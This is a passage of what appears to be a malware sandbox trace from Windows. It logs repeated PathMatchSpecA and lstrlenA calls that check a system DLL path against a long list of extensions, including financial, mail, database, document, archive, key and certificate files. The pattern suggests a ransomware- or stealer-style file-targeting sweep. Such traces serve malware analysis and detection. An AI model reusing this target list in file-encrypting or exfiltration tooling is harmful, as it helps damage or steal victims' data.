pszSpec="*.qbo") returned 0 [0100.240] lstrlenA (lpString="*.qbo") returned 5 [0100.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.qbx") returned 0 [0100.240] lstrlenA (lpString="*.qbx") returned 5 [0100.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.qba") returned 0 [0100.240] lstrlenA (lpString="*.qba") returned 5 [0100.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.qby") returned 0 [0100.240] lstrlenA (lpString="*.qby") returned 5 [0100.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.qbj") returned 0 [0100.240] lstrlenA (lpString="*.qbj") returned 5 [0100.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.ofx") returned 0 [0100.240] lstrlenA (lpString="*.ofx") returned 5 [0100.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.qif") returned 0 [0100.240] lstrlenA (lpString="*.qif") returned 5 [0100.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.mye") returned 0 [0100.241] lstrlenA (lpString="*.mye") returned 5 [0100.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.mbox") returned 0 [0100.241] lstrlenA (lpString="*.mbox") returned 6 [0100.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.eml") returned 0 [0100.241] lstrlenA (lpString="*.eml") returned 5 [0100.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.pst") returned 0 [0100.241] lstrlenA (lpString="*.pst") returned 5 [0100.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.ost") returned 0 [0100.241] lstrlenA (lpString="*.ost") returned 5 [0100.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.idx") returned 0 [0100.241] lstrlenA (lpString="*.idx") returned 5 [0100.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.dbx") returned 0 [0100.241] lstrlenA (lpString="*.dbx") returned 5 [0100.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.sql") returned 0 [0100.241] lstrlenA (lpString="*.sql") returned 5 [0100.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.mdb") returned 0 [0100.241] lstrlenA (lpString="*.mdb") returned 5 [0100.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.fdb") returned 0 [0100.242] lstrlenA (lpString="*.fdb") returned 5 [0100.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.wab") returned 0 [0100.242] lstrlenA (lpString="*.wab") returned 5 [0100.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.dat") returned 0 [0100.242] lstrlenA (lpString="*.dat") returned 5 [0100.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.txt") returned 0 [0100.242] lstrlenA (lpString="*.txt") returned 5 [0100.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.jpeg") returned 0 [0100.242] lstrlenA (lpString="*.jpeg") returned 6 [0100.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.jpg") returned 0 [0100.242] lstrlenA (lpString="*.jpg") returned 5 [0100.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.png") returned 0 [0100.242] lstrlenA (lpString="*.png") returned 5 [0100.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.php") returned 0 [0100.242] lstrlenA (lpString="*.php") returned 5 [0100.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.cs") returned 0 [0100.243] lstrlenA (lpString="*.cs") returned 4 [0100.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.cpp") returned 0 [0100.243] lstrlenA (lpString="*.cpp") returned 5 [0100.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.rar") returned 0 [0100.243] lstrlenA (lpString="*.rar") returned 5 [0100.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.zip") returned 0 [0100.243] lstrlenA (lpString="*.zip") returned 5 [0100.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.html") returned 0 [0100.243] lstrlenA (lpString="*.html") returned 6 [0100.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.htm") returned 0 [0100.244] lstrlenA (lpString="*.htm") returned 5 [0100.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.xlsx") returned 0 [0100.244] lstrlenA (lpString="*.xlsx") returned 6 [0100.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.xls") returned 0 [0100.244] lstrlenA (lpString="*.xls") returned 5 [0100.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.mp4") returned 0 [0100.244] lstrlenA (lpString="*.mp4") returned 5 [0100.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.ppt") returned 0 [0100.244] lstrlenA (lpString="*.ppt") returned 5 [0100.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.pptx") returned 0 [0100.245] lstrlenA (lpString="*.pptx") returned 6 [0100.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.doc") returned 0 [0100.245] lstrlenA (lpString="*.doc") returned 5 [0100.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.dot") returned 0 [0100.245] lstrlenA (lpString="*.dot") returned 5 [0100.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.docx") returned 0 [0100.245] lstrlenA (lpString="*.docx") returned 6 [0100.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.7z") returned 0 [0100.245] lstrlenA (lpString="*.7z") returned 4 [0100.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.tar") returned 0 [0100.245] lstrlenA (lpString="*.tar") returned 5 [0100.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.bz2") returned 0 [0100.245] lstrlenA (lpString="*.bz2") returned 5 [0100.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.gz") returned 0 [0100.245] lstrlenA (lpString="*.gz") returned 4 [0100.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.mkv") returned 0 [0100.245] lstrlenA (lpString="*.mkv") returned 5 [0100.245] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.eml") returned 0 [0100.246] lstrlenA (lpString="*.eml") returned 5 [0100.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.msg") returned 0 [0100.246] lstrlenA (lpString="*.msg") returned 5 [0100.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.edb") returned 0 [0100.246] lstrlenA (lpString="*.edb") returned 5 [0100.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.accdb") returned 0 [0100.246] lstrlenA (lpString="*.accdb") returned 7 [0100.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.odb") returned 0 [0100.246] lstrlenA (lpString="*.odb") returned 5 [0100.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.java") returned 0 [0100.246] lstrlenA (lpString="*.java") returned 6 [0100.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.asm") returned 0 [0100.246] lstrlenA (lpString="*.asm") returned 5 [0100.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.pfx") returned 0 [0100.246] lstrlenA (lpString="*.pfx") returned 5 [0100.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.pem") returned 0 [0100.246] lstrlenA (lpString="*.pem") returned 5 [0100.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.p12") returned 0 [0100.247] lstrlenA (lpString="*.p12") returned 5 [0100.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.gpg") returned 0 [0100.247] lstrlenA (lpString="*.gpg") returned 5 [0100.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.vsd") returned 0 [0100.247] lstrlenA (lpString="*.vsd") returned 5 [0100.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.odg") returned 0 [0100.247] lstrlenA (lpString="*.odg") returned 5 [0100.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.raw") returned 0 [0100.247] lstrlenA (lpString="*.raw") returned 5 [0100.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.nef") returned 0 [0100.247] lstrlenA (lpString="*.nef") returned 5 [0100.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.svg") returned 0 [0100.247] lstrlenA (lpString="*.svg") returned 5 [0100.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.psd") returned 0 [0100.247] lstrlenA (lpString="*.psd") returned 5 [0100.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.vmx") returned 0 [0100.247] lstrlenA (lpString="*.vmx") returned 5 [0100.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.vmdk") returned 0 [0100.248] lstrlenA (lpString="*.vmdk") returned 6 [0100.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.vdi") returned 0 [0100.248] lstrlenA (lpString="*.vdi") returned 5 [0100.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.lay6") returned 0 [0100.248] lstrlenA (lpString="*.lay6") returned 6 [0100.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.mpeg") returned 0 [0100.248] lstrlenA (lpString="*.mpeg") returned 6 [0100.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.djvu") returned 0 [0100.248] lstrlenA (lpString="*.djvu") returned 6 [0100.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.tiff") returned 0 [0100.248] lstrlenA (lpString="*.tiff") returned 6 [0100.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.backup") returned 0 [0100.248] lstrlenA (lpString="*.backup") returned 8 [0100.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.pdf") returned 0 [0100.248] lstrlenA (lpString="*.pdf") returned 5 [0100.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.cert") returned 0 [0100.248] lstrlenA (lpString="*.cert") returned 6 [0100.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.docm") returned 0 [0100.249] lstrlenA (lpString="*.docm") returned 6 [0100.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.xlsm") returned 0 [0100.249] lstrlenA (lpString="*.xlsm") returned 6 [0100.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.dwg") returned 0 [0100.249] lstrlenA (lpString="*.dwg") returned 5 [0100.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.nd") returned 0 [0100.249] lstrlenA (lpString="*.nd") returned 4 [0100.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.tlg") returned 0 [0100.249] lstrlenA (lpString="*.tlg") returned 5 [0100.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.lgb") returned 0 [0100.249] lstrlenA (lpString="*.lgb") returned 5 [0100.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.mov") returned 0 [0100.249] lstrlenA (lpString="*.mov") returned 5 [0100.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.xdw") returned 0 [0100.249] lstrlenA (lpString="*.xdw") returned 5 [0100.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.ods") returned 0 [0100.249] lstrlenA (lpString="*.ods") returned 5 [0100.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.wav") returned 0 [0100.250] lstrlenA (lpString="*.wav") returned 5 [0100.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.mp3") returned 0 [0100.250] lstrlenA (lpString="*.mp3") returned 5 [0100.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.aiff") returned 0 [0100.250] lstrlenA (lpString="*.aiff") returned 6 [0100.250] PathMatchSpecA 